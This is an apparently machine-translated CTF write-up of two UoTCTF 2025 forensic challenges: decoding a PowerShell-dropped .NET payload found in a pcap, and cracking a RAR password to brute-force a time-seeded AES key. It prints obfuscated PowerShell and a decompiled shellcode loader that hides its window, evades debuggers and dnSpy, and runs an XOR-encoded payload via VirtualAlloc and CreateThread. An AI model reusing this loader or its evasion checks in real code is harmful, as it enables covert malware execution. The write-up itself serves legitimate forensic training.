All Articles

UoT CTF 2025 Writeup

This page has been machine-translated from the original page.

We participated in UoTCTF 2025 as 0nePadding and placed 43rd out of 897 teams. (Though I personally didn’t solve many challenges this time.)

image-20250113211514744

Here is a brief writeup of the challenges I solved.

Poof(Forensic)

Yet another pcap, no usb traffic in this one so I’m lost. Can you help me out? :)

Analyzing the pcap file provided as the challenge binary revealed that suspicious PS1 files and other artifacts were being retrieved from a suspicious IP address.

image-20250111212443760

This file appeared to be one that executes an obfuscated PowerShell script.

After deobfuscating the first few lines, it became apparent that variables named Key and IV were being defined.

# Key
.("{1}{0}{2}" -f '-Va','Set','riable') -Name ("{0}{1}" -f 'ke','y') -Value (  $Vs52aR::"u`TF8".("{2}{0}{1}" -f 'etBy','tes','G').Invoke((("{0}{2}{1}"-f'sk','89','sd')+'D2G'+("{0}{1}"-f '0X9','j')+("{1}{0}" -f 'F','k2f')+("{0}{1}"-f ("{0}{1}"-f'1','b4S'),'2')+'a7'+("{1}{0}"-f 'a','Gh8')+'Vk0'+'L')))

# IV
.("{0}{2}{1}"-f 'Set','Variable','-') -Name ('iv') -Value ( ( VArIaBlE  ("{0}{1}"-f'Y8','F')  -ValuEo )::"U`Tf8".("{0}{2}{1}"-f 'Get','tes','By').Invoke((("{1}{0}" -f 'e',("{0}{1}" -f 'Md3','3'))+'F'+'a'+("{0}{2}{1}" -f '0','Z',("{0}{1}"-f 'wN','x2'))+'q'+("{3}{2}{1}{0}"-f'Y1',("{1}{2}{0}"-f'm','7oN','45'),("{1}{0}{2}" -f '6','LjK','X9t3G'),'5'))))

The Key and IV extracted from the obfuscated script were as follows.

image-20250111214114131

Continuing to deobfuscate further revealed that a PE file was being obtained by decrypting a file containing a HEX string retrieved from the same IP address.

Using the extracted Key and IV to decrypt the data, I was able to recover the suspicious PE file.

image-20250111214016245

Since this file appeared to be a .NET PE file, I proceeded to analyze it with ILSpy.

However, for some reason, ILSpy was unable to analyze parts of the code.

image-20250111215117312

So I tried using dnSpy instead, which allowed me to view the decompiled results of the challenge binary as shown below. (The reason ILSpy failed to analyze it is unclear.)

image-20250111215050507

Looking at this code, it simply XORs a hardcoded byte array to decrypt some data.

using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace Kljansdfkansdf
{
// Token: 0x02000003 RID: 3
[NullableContext(1)]
[Nullable(0)]
public class Kljansdfkansdf
{
// Token: 0x06000009 RID: 9 RVA: 0x00002080 File Offset: 0x00000280
public static void kjfadsiewqinfqniowf(byte[] ncuasdhif)
{
uint num = Win32.VirtualAlloc(0U, (uint)ncuasdhif.Length, Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
Marshal.Copy(ncuasdhif, 0, (IntPtr)((UIntPtr)num), ncuasdhif.Length);
uint num2;
Win32.VirtualProtect((IntPtr)((UIntPtr)num), (UIntPtr)((IntPtr)ncuasdhif.Length), Win32.PAGE_EXECUTE_READ, out num2);
IntPtr zero = IntPtr.Zero;
uint num3 = 0U;
IntPtr zero2 = IntPtr.Zero;
Win32.WaitForSingleObject(Win32.CreateThread(0U, 0U, num, zero2, 0U, ref num3), uint.MaxValue);
}

// Token: 0x0600000A RID: 10 RVA: 0x000020E4 File Offset: 0x000002E4
private static void Main(string[] args)
{
Win32.ShowWindow(Win32.GetConsoleWindow(), Win32.SW_HIDE);
if (Debugger.IsAttached)
{
Environment.Exit(0);
}
foreach (Process process in Process.GetProcesses())
{
if (process.ProcessName.Contains("devenv") || process.ProcessName.Contains("dnspy"))
{
Environment.Exit(0);
}
}
byte[] array = new byte[]
{
129, 149, byte.MaxValue, 125, 125, 125, 29, 244, 152, 76,
189, 25, 246, 45, 77, 246, 47, 113, 246, 47,
105, 246, 15, 85, 114, 202, 55, 91, 76, 130,
209, 65, 28, 1, 127, 81, 93, 188, 178, 112,
124, 186, 159, 143, 47, 42, 246, 47, 109, 246,
55, 65, 246, 49, 108, 5, 158, 53, 124, 172,
44, 246, 36, 93, 124, 174, 246, 52, 101, 158,
71, 52, 246, 73, 246, 124, 171, 76, 130, 209,
188, 178, 112, 124, 186, 69, 157, 8, 139, 126,
0, 133, 70, 0, 89, 8, 153, 37, 246, 37,
89, 124, 174, 27, 246, 113, 54, 246, 37, 97,
124, 174, 246, 121, 246, 124, 173, 244, 57, 89,
89, 38, 38, 28, 36, 39, 44, 130, 157, 34,
34, 39, 246, 111, 150, 240, 32, 23, 124, 240,
248, 207, 125, 125, 125, 45, 21, 76, 246, 18,
250, 130, 168, 198, 141, 200, 223, 43, 21, 219,
232, 192, 224, 130, 168, 65, 123, 1, 119, 253,
134, 157, 8, 120, 198, 58, 110, 15, 18, 23,
125, 46, 130, 168, 30, 16, 25, 93, 82, 30,
93, 19, 24, 9, 93, 8, 14, 24, 15, 93,
17, 24, 26, 20, 9, 8, 14, 24, 15, 93,
8, 18, 27, 9, 30, 9, 27, 6, 42, 73,
14, 34, 76, 41, 34, 47, 78, 28, 17, 17,
4, 34, 28, 51, 34, 52, 16, 13, 17, 73,
19, 9, 66, 66, 0, 93, 82, 28, 25, 25,
93, 82, 4, 125
};
byte b = 125;
for (int j = 0; j < array.Length; j++)
{
byte[] array2 = array;
int num = j;
array2[num] ^= b;
}
Kljansdfkansdf.kjfadsiewqinfqniowf(array);
}
}
}

By XOR-decrypting this byte array with 125, it was possible to identify the correct flag.

Decrypt Me(Forensic)

I encrypted my encryption script, but I forgot the password. Can you help me decrypt it?

Analyzing the encrypted RAR file provided as the challenge binary with rar2hashcat yielded the following hashes. (rar2john also works.)

./rar2hashcat flag.rar

$rar5$16$1d7cb8859a6c3c8e30a9db7a501811ac$15$280234db9d29c6ab216b74e6a89ec226$8$d12d4ba211b9c642
$rar5$16$1d7cb8859a6c3c8e30a9db7a501811ac$15$7d06143b1a7dab3327b3ef1e41ad881a$8$d12d4ba211b9c642

Reference: Release rar2hashcat 1.0 · hashstation/rar2hashcat · GitHub

Cracking this hash with rockyou.txt revealed the decompression password.

image-20250112214205715

With this, I was able to decompress the encrypted RAR file and extract a file called flag.py.

This flag.py appears to encrypt the flag with AES and save it as flag.enc.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Hash import SHA256
from time import time
import random
random.seed(int(time()))
KEY = SHA256.new(str(random.getrandbits(256)).encode()).digest()
FLAG = "uoftctf{fake_flag}"

def encrypt_flag(flag, key):
    cipher = AES.new(key, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(flag.encode())
    return cipher.nonce + ciphertext

def main():
    encrypted_flag = encrypt_flag(FLAG, KEY)
    with open("flag.enc", "wb") as f:
        f.write(encrypted_flag)

if __name__ == "__main__":
    main()

When searching for the flag.enc file that contains the encrypted correct flag, I found that it was stored as an Alternate Data Stream (ADS) of flag.py.

image-20250112214145682

I extracted the flag.enc bytes from the ADS using the following commands.

Set-Content C:\Users\kash1064\Downloads\flag\flag.enc -Encoding Byte -Value $a
Get-Content C:\Users\kash1064\Downloads\flag\flag.py:flag.enc -Encoding Byte -ReadCount 0

This flag.enc is a concatenation of the 16-byte cipher.nonce and the encrypted ciphertext.

Furthermore, reading the implementation in flag.py reveals that it uses a key generated with the current time as the seed for encryption.

From the file timestamps within the archive, we can determine that this file was created on 2025/01/06, which means the encrypted data can likely be decrypted by brute-forcing the seconds.

Ultimately, I obtained the correct flag with the following script.

from Crypto.Cipher import AES
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Hash import SHA256
from time import time
from datetime import datetime
import random

data = b"\x29\xe6\x91\x01\xb5\x00\xc3\x83\x1e\xff\x9a\xfb\x12\xc7\x6b\x94\xd4\xf8\x81\x60\x45\x83\x9e\x60\xa0\x61\x12\x2e\x8d\x01\xfa\xf9\x5e\x55\xb1\x70\xff\xd0\xdc\xa3\xdf\x38\xc5\x72\xf3\xbd\xbd\xe8\xfb\xc4\x4d\x39\x38\xee\x07\x86\xfc"
nonce = data[0:16]
ciphertext = data[16:]
assert(len(nonce) == 16)

basetime = int(datetime(2025, 1, 6, 0, 0, 0).timestamp())

for i in range(basetime, basetime+(3600*24*1)):
    random.seed(i)
    KEY = SHA256.new(str(random.getrandbits(256)).encode()).digest()
    cipher = AES.new(KEY, AES.MODE_EAX, nonce=nonce)
    plaintext = cipher.decrypt(ciphertext)
    if chr(plaintext[0]) == "u" and chr(plaintext[1]) == "o":
        print(plaintext)

image-20250113213639016